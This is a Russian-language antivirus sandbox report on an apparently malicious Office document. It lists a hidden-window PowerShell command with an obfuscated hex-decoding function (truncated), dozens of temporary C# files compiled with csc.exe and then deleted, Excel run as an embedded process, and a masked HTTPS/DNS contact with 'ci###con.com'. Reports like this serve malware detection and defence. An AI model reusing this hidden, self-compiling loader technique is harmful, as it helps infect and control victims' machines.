Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function e457b7b {param($ld2817)$o693a63='sf6d6';$af67d7='';for ($i=0; $i -lt $ld2817.length;$i+=2){$pb5326=[convert]::ToByte($ld2817.Substring($i,2),16);$af67d7+=[char]($...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\n7jvfkpu.0.cs
- %TEMP%\res96c4.tmp
- %TEMP%\vroholeh.dll
- %TEMP%\res9974.tmp
- %TEMP%\vtcvtnoa.dll
- %TEMP%\res99f1.tmp
- %TEMP%\wljcv0sk.dll
- %TEMP%\res9b39.tmp
- %TEMP%\jzhncqtj.dll
- %TEMP%\hvrnfb-e.dll
- %TEMP%\49jgi2ne.dll
- %TEMP%\usvdymsd.0.cs
- %TEMP%\usvdymsd.cmdline
- %TEMP%\usvdymsd.out
- %TEMP%\cscaccc.tmp
- %TEMP%\resacdd.tmp
- %TEMP%\usvdymsd.dll
- %TEMP%\k9sea_w9.0.cs
- %TEMP%\k9sea_w9.cmdline
- %TEMP%\k9sea_w9.out
- %TEMP%\cscc12f.tmp
- %TEMP%\resc14f.tmp
- %TEMP%\k9sea_w9.dll
- %TEMP%\b7qntw5z.0.cs
- %TEMP%\b7qntw5z.cmdline
- %TEMP%\b7qntw5z.out
- %TEMP%\cscee0b.tmp
- %TEMP%\resee1c.tmp
- %TEMP%\csc9b19.tmp
- %TEMP%\b7qntw5z.dll
- %TEMP%\csc95d9.tmp
- %TEMP%\res95ab.tmp
- %TEMP%\n7jvfkpu.cmdline
- %TEMP%\n7jvfkpu.out
- %TEMP%\hvrnfb-e.0.cs
- %TEMP%\hvrnfb-e.cmdline
- %TEMP%\hvrnfb-e.out
- %TEMP%\vroholeh.0.cs
- %TEMP%\vroholeh.cmdline
- %TEMP%\vroholeh.out
- %TEMP%\wljcv0sk.0.cs
- %TEMP%\wljcv0sk.cmdline
- %TEMP%\wljcv0sk.out
- %TEMP%\vtcvtnoa.0.cs
- %TEMP%\vtcvtnoa.cmdline
- %TEMP%\vtcvtnoa.out
- %TEMP%\49jgi2ne.0.cs
- %TEMP%\49jgi2ne.cmdline
- %TEMP%\jzhncqtj.0.cs
- %TEMP%\jzhncqtj.cmdline
- %TEMP%\csc9230.tmp
- %TEMP%\49jgi2ne.out
- %TEMP%\csc932a.tmp
- %TEMP%\res933a.tmp
- %TEMP%\jzhncqtj.out
- %TEMP%\csc959b.tmp
- %TEMP%\res9250.tmp
- %TEMP%\csc96a4.tmp
- %TEMP%\n7jvfkpu.dll
- %TEMP%\csc9954.tmp
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{f823b75a-6dc7-4741-818c-4b1a848d482f}.tmp
Удаляет следующие файлы
- %TEMP%\res933a.tmp
- %TEMP%\resacdd.tmp
- %TEMP%\hvrnfb-e.dll
- %TEMP%\hvrnfb-e.pdb
- %TEMP%\hvrnfb-e.0.cs
- %TEMP%\hvrnfb-e.out
- %TEMP%\usvdymsd.cmdline
- %TEMP%\hvrnfb-e.cmdline
- %TEMP%\jzhncqtj.pdb
- %TEMP%\jzhncqtj.0.cs
- %TEMP%\jzhncqtj.dll
- %TEMP%\jzhncqtj.out
- %TEMP%\49jgi2ne.cmdline
- %TEMP%\49jgi2ne.0.cs
- %TEMP%\jzhncqtj.cmdline
- %TEMP%\res99f1.tmp
- %TEMP%\usvdymsd.dll
- %TEMP%\b7qntw5z.out
- %TEMP%\b7qntw5z.cmdline
- %TEMP%\b7qntw5z.dll
- %TEMP%\cscee0b.tmp
- %TEMP%\resee1c.tmp
- %TEMP%\k9sea_w9.dll
- %TEMP%\49jgi2ne.pdb
- %TEMP%\cscaccc.tmp
- %TEMP%\k9sea_w9.0.cs
- %TEMP%\k9sea_w9.cmdline
- %TEMP%\cscc12f.tmp
- %TEMP%\resc14f.tmp
- %TEMP%\usvdymsd.out
- %TEMP%\usvdymsd.0.cs
- %TEMP%\k9sea_w9.out
- %TEMP%\usvdymsd.pdb
- %TEMP%\49jgi2ne.dll
- %TEMP%\49jgi2ne.out
- %TEMP%\csc9b19.tmp
- %TEMP%\n7jvfkpu.0.cs
- %TEMP%\res9250.tmp
- %TEMP%\csc9230.tmp
- %TEMP%\n7jvfkpu.pdb
- %TEMP%\n7jvfkpu.cmdline
- %TEMP%\n7jvfkpu.out
- %TEMP%\b7qntw5z.0.cs
- %TEMP%\n7jvfkpu.dll
- %TEMP%\vroholeh.cmdline
- %TEMP%\csc96a4.tmp
- %TEMP%\res95ab.tmp
- %TEMP%\csc959b.tmp
- %TEMP%\csc932a.tmp
- %TEMP%\vroholeh.out
- %TEMP%\res96c4.tmp
- %TEMP%\k9sea_w9.pdb
- %TEMP%\vroholeh.0.cs
- %TEMP%\csc9954.tmp
- %TEMP%\vroholeh.pdb
- %TEMP%\res9b39.tmp
- %TEMP%\wljcv0sk.cmdline
- %TEMP%\wljcv0sk.0.cs
- %TEMP%\wljcv0sk.out
- %TEMP%\wljcv0sk.pdb
- %TEMP%\res9974.tmp
- %TEMP%\wljcv0sk.dll
- %TEMP%\vroholeh.dll
- %TEMP%\vtcvtnoa.dll
- %TEMP%\vtcvtnoa.cmdline
- %TEMP%\vtcvtnoa.out
- %TEMP%\vtcvtnoa.0.cs
- %TEMP%\vtcvtnoa.pdb
- %TEMP%\csc95d9.tmp
- %TEMP%\b7qntw5z.pdb
Сетевая активность
TCP
- 'ci###con.com':443
UDP
- DNS ASK ci###con.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function e457b7b {param($ld2817)$o693a63='sf6d6';$af67d7='';for ($i=0; $i -lt $ld2817.length;$i+=2){$pb5326=[convert]::ToByte($ld2817.Substring($i,2),16);$af67d7+=[char]($...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC14F.tmp" "%TEMP%\CSCC12F.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\k9sea_w9.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESACDD.tmp" "%TEMP%\CSCACCC.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\usvdymsd.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9B39.tmp" "%TEMP%\CSC9B19.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES99F1.tmp" "%TEMP%\CSC95D9.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9974.tmp" "%TEMP%\CSC9954.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES96C4.tmp" "%TEMP%\CSC96A4.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\b7qntw5z.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES95AB.tmp" "%TEMP%\CSC959B.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES933A.tmp" "%TEMP%\CSC932A.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\49jgi2ne.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9250.tmp" "%TEMP%\CSC9230.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vtcvtnoa.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wljcv0sk.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vroholeh.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hvrnfb-e.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\n7jvfkpu.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jzhncqtj.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEE1C.tmp" "%TEMP%\CSCEE0B.tmp"' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\b7qntw5z.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC14F.tmp" "%TEMP%\CSCC12F.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\k9sea_w9.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESACDD.tmp" "%TEMP%\CSCACCC.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\usvdymsd.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9B39.tmp" "%TEMP%\CSC9B19.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES99F1.tmp" "%TEMP%\CSC95D9.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9974.tmp" "%TEMP%\CSC9954.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES96C4.tmp" "%TEMP%\CSC96A4.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES95AB.tmp" "%TEMP%\CSC959B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jzhncqtj.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES933A.tmp" "%TEMP%\CSC932A.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\49jgi2ne.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9250.tmp" "%TEMP%\CSC9230.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vtcvtnoa.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wljcv0sk.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vroholeh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hvrnfb-e.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\n7jvfkpu.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEE1C.tmp" "%TEMP%\CSCEE0B.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
